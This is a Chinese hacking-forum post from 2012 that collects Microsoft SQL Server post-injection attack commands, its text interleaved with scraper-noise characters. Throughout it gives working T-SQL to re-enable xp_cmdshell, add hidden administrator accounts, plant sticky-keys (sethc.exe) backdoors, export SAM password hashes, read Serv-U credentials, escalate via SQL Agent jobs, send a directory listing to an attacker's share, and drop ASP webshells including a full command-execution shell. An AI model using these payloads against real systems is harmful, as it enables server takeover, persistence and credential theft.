找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2222|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
! i  w6 b9 ~' S# b, V6 N- s  H' j  R恢复方法:查询分离器连接后,
1 ]  @: [* D& \* `- n第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
6 ~2 E5 [$ ?4 e3 t3 c" U第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 7 O8 c4 Z7 d8 }; R; D. S. C
然后按F5键命令执行完毕- R  C, P1 }/ h5 M2 j8 j6 C( L2 i8 l

$ c: p* c$ U# @, d7 z+ a8 \$ k2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& G' {% k. R- J- k  ]3 a恢复方法:查询分离器连接后,
" z+ ?. J2 ~) q: m4 D第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
- S" i5 I8 ?8 _4 a第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'0 B* M# @( Q8 Y. I
然后按F5键命令执行完毕
" d  ~- u: |: J  |& z% T. D- ^4 w1 a; Z' ?. ]+ i
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)% K5 }* G' G- n& Y. y
恢复方法:查询分离器连接后,
5 w0 j& f  v; \第一步执行:exec sp_dropextendedproc 'xp_cmdshell'+ S+ p' y0 h! O5 @8 k- d- J' z
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       , W- s% k0 v8 ?, a+ |
然后按F5键命令执行完毕
: P. \" o8 E$ e+ Y4 E" E+ P9 Q- ~, S( {- u: Y3 J. A
4 终极方法.
( I7 P4 M4 o7 y8 g, R如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
* |  `7 `  z  ~9 [. i查询分离器连接后,4 T+ L- D  T$ _- J
2000servser系统:; f+ H- o: \! b& t; }- s
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
3 J7 A, ~4 _7 v# s( d% N. n3 k1 s) X; a: g# @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'9 @, f; x& ?) p7 ^2 n- q6 `
' w+ t/ k! J3 W% V
xp或2003server系统:
* G( D8 N! M3 Q+ Y5 N8 g; H+ ^0 ^5 r" Y; M/ r! y9 U2 c
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'$ m, P, R6 {+ H0 w8 ?1 _
, R) T* h5 w9 F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'# @3 h- V, M+ o9 Y% G7 ?

- y! B) n6 a: B# M# M4 }
- A+ i, J7 Q0 B* d4 q五个SHIFT$ K% C' b9 \; F" X/ d' g( g
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
" c: h) j; q8 U$ p
- Q9 i/ _9 y/ o6 e9 @# L/ j  E) Wdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
8 W/ m" d4 e% g1 d$ K3 g: J1 f9 ^+ X
( g; L$ [7 O. |6 h" \5 l$ N. qxp_cmdshell执行命令另一种方法
5 a3 P8 v/ w5 s* |4 J6 qdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 I  Q5 E( U8 U( G# U) X" P
9 i# n$ j% Z0 m, [判断存储扩展是否存在
7 Q9 x# |7 f1 @Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'& I5 F6 M; q+ I
返回结果为1就OK
0 z( C: G% g- T  ]" x# Y3 u- i( ]8 n3 H' {, L/ I

. a2 U2 a% u9 m) G: w5 h+ B- L上传xplog70.dll恢复xp_cmdshell语句:0 R. M- B: b4 t' R# D; l
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
1 ~0 H' s" z- C) f3 T+ H
. N. ^2 i5 Q4 M+ a' f5 [否则上传xplog7.0.dll( d+ N8 l$ H2 K5 N" Z# @
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
6 w* @: b& ^; s" N7 d8 U) |5 g/ S) w- m0 O
, U' F! G8 Q/ p* A2 r8 ]; M

! D5 H# X# f2 u( e% k4 m+ ?( w首先开启沙盘模式:
, R9 r) e' ]# Y6 I% {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ O% V- V$ {  T6 j; _1 q. [" }3 k. `9 a) y& h
然后利用jet.oledb执行系统命令* ^' [. x5 Z0 }! X/ F( X) Y. a
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')9 {  _+ I! v# Y8 ~  K
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
$ `, g# N4 W' S7 i/ a
# S3 Q1 X( J& P+ w% y, {
0 U7 M* ^, r" g
/ b4 |" Y% b2 {# d3 a; ]% Z恢复过程sp_addextendedproc 如下: * {9 D9 y: N; a2 b: P+ ]
create procedure sp_addextendedproc --- 1996/08/30 20:13 7 `) v, m( v1 L2 |
@functname nvarchar(517),/* (owner.)name of function to call */ 7 l4 i2 p8 T1 B" x
@dllname varchar(255)/* name of DLL containing function */ 9 ^+ ~5 U, B) z: L) A
as ( b0 o' u. U1 t
set implicit_transactions off % |. L/ A1 Z8 [" }
if @@trancount > 0   W7 v/ S. k1 S3 M5 H
begin , f* ~. W1 O0 v1 w
raiserror(15002,-1,-1,'sp_addextendedproc') 0 z, _# h7 J2 r0 k/ y
return (1)
9 N# ^, h% |/ ]/ P4 x# |. {$ d- Send
/ @  v! k5 ^9 x# ]& P; ~dbcc addextendedproc( @functname, @dllname)
' D  _4 e: b0 Y2 t  V0 G" ureturn (0) -- sp_addextendedproc
1 g8 ^$ V8 g7 j- O& G' YGO
% w0 G8 Y# R* D! |; {! ^: j& I& V" z' c8 ?  v

3 u$ C# z; n2 l: g* c9 [, C) W8 b, X
导出管理员密码文件( U6 J7 N" Z' ?- b" n% v4 Y1 u
sa默认可以读sam键.应该。
$ W; v& z. D0 D9 N/ S5 p6 }* `reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg1 s* i/ Q% y" I8 _" b- {
net user administrator test. q' Q- Y5 G1 o! p6 z, ^7 {2 f' y
用administrator登陆.2 U- J5 ~3 ], s  E4 E1 Y. @
用完机器后6 R. F1 X+ a' Y+ e' h
reg import c:\test.reg
" X8 X. d+ f5 W' Y" g根本不用克隆.* x' [/ A- ~3 G
找到对应的sid.
( }$ L& Q; @0 n; Q- E% t
6 B$ j) ]8 B) h/ z/ R- y* d- M1 F& B# f/ Z7 k3 K

; k% S- `& t0 X) ]恢复所有存储过程4 L& d! E& t2 G9 r
use master
2 W1 d  v& I: U, s4 }exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 8 m" K7 X6 q% M4 k4 L! \: j+ H
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
* H) J8 D" `- q5 E1 I8 oexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: }# Q( b, Q# G/ t8 H/ Y8 Iexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
# _2 V9 Q  b6 T' r5 Fexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 3 y. w! L7 q: M. j1 u
exec sp_addextendedproc sp_OACreate,'odsole70.dll' . V! \/ D4 {1 G2 i* }% p# e
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
$ c$ Z% s& L- d( u2 l6 H* zexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'   R0 Z' I( U6 g5 J# K, {2 i
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' # p& r" b* D3 t
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
7 \3 ^' j- W& n& D0 e5 S. A% Z7 Uexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' " ]2 `$ `& x0 ?" ?( B% A
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
7 t- u8 s! M$ Jexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' : x3 z! M! ?: d! a6 x' c* \
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' " C1 D) s! ?6 o. i' I) v1 _
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
9 T4 W7 m- ~% w1 p) I4 \# Iexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
( t9 r8 W3 M8 L6 f" uexec sp_addextendedproc xp_regread,'xpstar.dll'
# w# w3 G+ B, r8 T5 g4 rexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' ' C7 x' c# N% W7 D$ A
exec sp_addextendedproc xp_regwrite,'xpstar.dll' * z8 Z9 ^: i1 d( ^3 W2 I
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
/ v) W( ]/ T; M& {" m" _4 t+ `+ [- i

- _' [3 d: H: Q. q; @7 f' E, B建立读文件的存储过程
% U! m+ f$ q$ M" q( F0 c8 vCreate proc sp_readTextFile @filename sysname3 k9 C$ g3 {. K' D; K& c6 R- Q! V
as
; c+ P0 W/ e/ N! A# ~
8 ~& j2 |  L" g8 V4 g& @1 H    begin 6 y0 ?; v! a6 u# N' R/ i
    set nocount on , P: V6 A0 L+ |. ]2 N7 b* H8 n
    Create table #tempfile (line varchar(8000))  f9 b: E1 V6 ]2 x
    exec ('bulk insert #tempfile from "' + @filename + '"')
' N: |7 }2 q* {9 Z8 D" d" g    select * from #tempfile" E7 K8 k: ^) U& r: n+ l+ z9 R
    drop table #tempfile
* a3 t% ~& G* xEnd
9 o; o6 O$ w9 U" L
* d; M2 R0 w2 U7 F$ Cexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件6 |6 |3 {$ c) p1 ?9 }
查看登录用户, ?5 V/ w4 ^3 P9 Q
Select * from sysxlogins3 ~$ C+ B# _! n: `
5 x/ u- a  B' n; y$ ]. X- |
把文件内容读取到表中
9 q) [; i2 v# \! e) h9 C% L+ }. ?BULK INSERT tmp from "c:\test.txt"
" ?) l0 }! L7 Q4 d. YdElete from 表名 清理表里的内容
. @* c3 D6 C0 f+ ~create table b_test(fn nvarchar(4000));建一个表,字段为fn" M! M6 D2 v2 i# y7 ]4 v' ]

5 m' O# X2 V3 `5 B  w: s. q4 |' o# A8 d6 B& `' [
加sa用户! v, Y6 J5 b& m" ^
exec master.dbo.sp_addlogin user,pass;4 t4 n, j5 `- c( M7 h8 m7 u
exec master.dbo.sp_addsrvrolemember user,sysadmin8 ~4 n* A# U3 _  g! y

$ V' z8 _/ S' @2 y0 ^: V* H8 }
0 X  J- K* G$ q  a! y# S: {# C6 o- T. ]2 R- _- y9 o) M
读文件代码  Q( ~% n, ~, P9 Q; m3 y
declare @o int, @f int, @t int, @ret int3 t# h  y  N/ ]4 a6 f1 T2 ]
declare @line varchar(8000)
) f# A$ N8 Y3 E  K2 L* R1 ?3 Qexec sp_oacreate 'scripting.filesystemobject', @o out+ m5 Q3 E& g, m# j
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
* o+ O0 T: U- ?! l0 sexec @ret = sp_oamethod @f, 'readline', @line out- D, h0 g! a6 a; t5 X% X
while( @ret = 0 )
: r( y6 h1 f4 m/ ^. Mbegin0 J, O/ X. ?$ x9 ?+ |
print @line% j0 C- F4 o* C
exec @ret = sp_oamethod @f, 'readline', @line out
5 Q- M3 x: y* K4 ^& A4 a' d  qend
% ~, K8 _7 H. m7 x
4 `' R8 C9 }4 p6 {- h& _3 U# K" |0 X3 b
写文件代码:
5 q# A+ K& H/ x& ?) s/ h  udeclare @o int, @f int, @t int, @ret int
- X: |' {! G0 D9 m& S9 s8 ~exec sp_oacreate 'scripting.filesystemobject', @o out
3 p0 @9 E' B- r+ Sexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
. v7 k! |: D; N: {! L  kexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
* }) z# n! ?8 ~( {% a& M  Y
( Q) E4 M' K* M+ e1 I1 \& ]- v( k" e1 D6 U5 g
添加lake2 shell. j1 q0 |, r1 k) h8 S8 y
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'/ G) v0 A5 {9 C
sp_dropextendedproc xp_lake2. ~. ]4 V8 {1 e# _
EXEC xp_lake2 'net user'1 x/ L' _4 \7 B1 J7 M0 s9 Y

. O) V- K# S' Z7 n' z* t2 f$ B. `8 g; `; x2 ^5 R3 O1 L' u
得到硬盘文件信息
% I7 a1 y! V  _9 W- k--参数说明:目录名,目录深度,是否显示文件 2 G0 |: H1 ~# J7 F
execute master..xp_dirtree 'c:' " h" e3 v% e7 A. X/ g
execute master..xp_dirtree 'c:',1
/ B' x4 y% D$ M. P; lexecute master..xp_dirtree 'c:',1,1
, Z9 b( Q% O3 w) O7 x* G  [+ F7 G0 ^
5 Q* H6 o$ z2 B
读serv-u配置信息+ i6 `" U4 H6 C: Z- L0 D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
9 a* t" E) b8 A/ rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
2 d5 s: v' t/ V- }+ b
6 g' A* g( X7 I7 x通过xp_regwrite写SHIFT后门# h9 i% J8 V! R7 m7 f/ {
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--( P( t3 T- T- l6 N2 x% P

0 x& B2 e9 K$ U4 K( H2 @1 E0 U# m  w6 q7 N
! ?. [* g+ {) f% z) p
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';. h" z9 o2 e, W: o3 T
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了9 E8 R* X# D( ]0 R. _9 N3 h

. e" `3 \; P: N! E8 b5 cEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表') B; [+ d4 e$ i5 m1 ~/ L* a

3 @. y  v7 Z, o4 G
# C4 Y  l' Q. j* q+ e, v8 a& V# y# l: e
sql server 2005下开启xp_cmdshell的办法# O- q/ P4 P" ~( A: f) ]; p" p

0 o; N+ j' U: ?; x" bEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& K  l: H( [, E0 f/ S7 |/ c& m; O' y  K: X/ u0 X3 `
SQL2005开启'OPENROWSET'支持的方法:
: b9 ]" a" z. m6 Q" ]6 n6 [
( n. J7 X' {2 t# ^; b$ a9 y. Qexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;8 g1 L1 ?5 m5 ~1 |5 m
' t0 c0 r: D7 A$ G( g
SQL2005开启'sp_oacreate'支持的方法:& e5 P) J$ y: T
8 E$ S& p/ @* `1 [2 _' h: H+ G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;: Y0 P* f  E6 ~8 i
2 D1 Q* a7 q* [& R' V+ ^
, ?; ]2 e$ v  E. u6 ~

$ t% L* N5 {9 K* D8 T' m3 G) ]' T8 ]& q  G# ^% t  y
# P- \& I$ ^% k4 w& n

" o: @4 r2 e5 U% o
1 x* P9 j3 G* Y& ?# r2 @/ O: O9 y; y6 l# p$ _

9 W- B4 L( ~) B1 e, y
) F2 U* G3 ^! q) u
! d) P' M( ?: t# W5 X% P3 \/ R- r( S; \6 M  i! K
; V- g( \# D6 L' }; {8 t/ V1 Q$ m

; q8 G% P; l, Y1 v1 {# j' e: F0 ]
+ H7 b7 C1 G3 A  ~4 _: g7 v$ ^3 w: j: R% ]( y3 U
6 X! l& K  M- U6 }) D7 s3 s

2 ^0 _+ M( E- e/ ^' z% f3 w  y$ m, G1 z: Z  D3 ]: q) e
, L* M. W, ^: A) _

, z% F! f3 _9 u0 V/ K6 ]# ~
& e( @/ T( g* e+ Q( F5 K8 p2 {5 p% r% c
8 f( I; V, {% G& {" K
以下方面不知道能不能成功暂且留下研究哈:4 K0 V# o: j8 v% N" W6 ~3 ?% J. ]+ r
4)
8 x7 H; h% Y" y7 N5 q7 q* Zuse msdb; --这儿不要是master哟( B: w5 F) ~% [/ o( }& \
exec sp_add_job @job_name= czy82 ;
! W( O5 ~* n( J# e# A" f+ Qexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" Y) ]+ |! L8 {& Uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
3 y, q) d& P. Z/ ?8 Vexec sp_start_job @job_name= czy82 ;4 v6 ^! U5 K! W: I2 `

( y2 s- s* u% Z利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
: e# t$ K4 S4 u/ E3 k7 U7 Y$ E执行tsql语句了.2 s3 I' D& I: U. L; L3 @
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
! }, G: L+ o4 o$ r: O第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)+ ]0 ~: b$ V4 @. m/ A$ L! I/ e% G+ W
net start SQLSERVERAGENT5 `+ v# K- y8 A) y

8 A7 Q8 A9 Q7 W对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
" h: p% d' Z1 h' T: a( iUSE msdb
! S9 C+ }6 X, e+ J  r( j9 _EXEC sp_add_job @job_name = GetSystemOnSQL ,$ l" e9 D. x, n
@enabled = 1,
/ h" c9 m' c+ H8 C- I@description = This will give a low privileged user access to7 H0 D) N( i3 H3 _3 `: Z; J
xp_cmdshell ,' }# f* ?5 F/ F" ~. y
@delete_level = 1
6 ]  e/ O" a7 M) ^( |EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
1 C8 B& k; d6 @/ t1 g- b( L@step_name = Exec my sql ,
5 [  M. W- q# P% o; k  m5 L' V/ g@subsystem = TSQL ,
) p: b* {- ]7 G* R- w@command = exec master..xp_execresultset N select exec
* Z4 u5 L$ Z: [+ \7 Rmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
8 l: R: u& g0 JEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,( m6 O/ r8 H! b: m' ]2 c, y8 k
@server_name = 你的SQL的服务器名
: n: \  `* @9 M. k3 HEXEC sp_start_job @job_name = GetSystemOnSQL
- P+ C* z4 x/ k% c7 G2 X8 }8 u% r7 g3 `. i/ s2 c7 I1 k
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以  X6 m8 K$ P6 C, N. x4 [3 c
才让我们可以以public执行xp_cmdshell2 H0 Y8 F  R  d/ F6 \3 S
. b9 M4 C$ \- [) [/ ?6 m$ u- G0 ?6 ^5 q
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
, t5 I: i# \8 T6 O在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
8 e& x5 X; |( M. b% b/ K/ T, I$ f8 K7 n+ K. p# Q- C2 ]. A
USE msdb& X: d! o4 t1 s8 S  x4 [9 y
EXEC sp_add_job @job_name = ArbitraryFilecreate ,9 M: ~2 \3 R6 S
@enabled = 1,
! C3 Q$ U8 p3 n/ M@description = This will create a file called c:\sqlafc123.txt ,
# M) j2 c5 q/ N" J( C@delete_level = 1
' U0 O! ?: x5 J8 W! _5 R4 SEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,2 K% j) T( P0 j9 U9 d
@step_name = SQLAFC ,
% `% y. p# Z6 Y7 M# S@subsystem = TSQL ,( p8 O3 M& g; ^* J) ~+ ^. j- U
@command = select hello, this file was created by the SQL Agent. ,
7 Z1 Q' c# l' E1 g! m  U& p@output_file_name = c:\sqlafc123.txt 0 K$ M; }6 R% S- r! i
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
0 U3 n$ Q. Z- s" h5 [! }@server_name = SERVER_NAME * N9 ^6 R% U% d5 Z% q
EXEC sp_start_job @job_name = ArbitraryFilecreate
1 K% W" Z  C+ H2 B5 I
1 e, Z% G! H) d5 O如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 p3 r' i; S- N7 B' n
( Z2 R& m0 f6 ]4 c??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
& W" Y- r) D7 d0 Z- u  P: v----------------------------------------------- z& x$ j. |6 Q9 E3 ]
hello, this file was created by the SQL Agent./ d. r  |- y  L" V. u

2 ^! v- M( z9 G5 @% I( t(1 ?????)
, Q! O! ]% e! \+ v! N5 J- x1 n, K2 }2 s; h
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
) B: V* U$ v+ W+ @命令的vbs文件到启动目录!
* M; I9 U' p! O2 n8 \% \5 e. G$ Z
, o  `* Q* v: g  q0 n$ P# v6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
" w1 y6 w. F( Y& O5 s0 @8 F关于sp_MScopyscriptfile 看下面的例子
/ A% L8 Q+ X- Q2 ~; _: Mdeclare @command varchar(100) / f% y9 A& u2 {6 ]4 V8 S
declare @scripfile varchar(200)
! V/ w' C9 u$ o) o& `  z3 Hset concat_null_yields_null off 0 K! c" R* o/ Z  d2 H" ?* x3 z
select @command= dir c:\ > "\\attackerip\share\dir.txt"
0 t- m/ ~5 R; ]9 R2 P3 P) yselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
5 P1 q3 W) k0 Iexec sp_MScopyscriptfile @scripfile , 8 o" U' f' F6 W* Z4 M  p

5 m" T# x8 P6 B1 i2 B这两个东东都还在测试试哟
6 f7 x% f  {+ ?, U/ H8 {/ m! x* u. L! r让MSSQL的public用户得到一个本机的web shell7 a; R$ A; C, `! P) u# D( q/ ]
& R) a" q2 _, R7 Y1 ^
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
* ]# T' s' d9 c( `& A1 @--@query= select <img src=vbscript:msgbox(now())> 6 T! C% I0 w; P+ F8 r9 {
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
9 c5 g# T! C) M( E/ E' [4 @@query= select
- A0 i+ w' [: U9 w0 n, A<%On Error Resume Next : D. a0 X/ B4 T7 x
Set oscript = Server.createObject("wscript.SHELL")
. h( V2 Q, i: b, U# j4 E, G8 W  n* qSet oscriptNet = Server.createObject("wscript.NETWORK")
/ {! v" x# _# M2 \& w$ ^Set oFileSys = Server.createObject("scripting.FileSystemObject") ) r3 A! g9 Y9 V4 Y7 j9 V- L" ~
szCMD = Request.Form(".CMD") + i7 l6 J  l' T% T5 j7 C6 B
If (szCMD <>"")Then
: e: s3 y- _. c+ t$ YszTempFile = "C:\" & oFileSys.GetTempName() . O' {7 B# p. |+ j
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
4 R. q6 k- ?  s, j# BSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 3 `6 e7 {% R" g  b1 K
End If %>
" f% \# h. \9 Q7 \" j+ s<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
" J* G& f8 ~0 J, V- J9 R' b0 {<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
' A1 o' y" F8 P1 T7 [+ A</FORM><RE>
5 n' p  y: @/ i<% If (IsObject(oFile))Then
% o, ]& L; J- L; H. M+ N1 uOn Error Resume Next
: C$ q5 d; A& q( r) X& {Response.Write Server.HTMLEncode(oFile.ReadAll)
6 u# L* U. x5 S, c8 noFile.Close % ]% T0 A! f& [7 |4 y! ~- P
Call oFileSys.deleteFile(szTempFile, True) + K4 y5 v( B. h& j, X9 _
End If%> ; G+ u% T9 |' D; B6 P# t
</BODY></HTML> $ M& w4 [& u0 a. a7 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表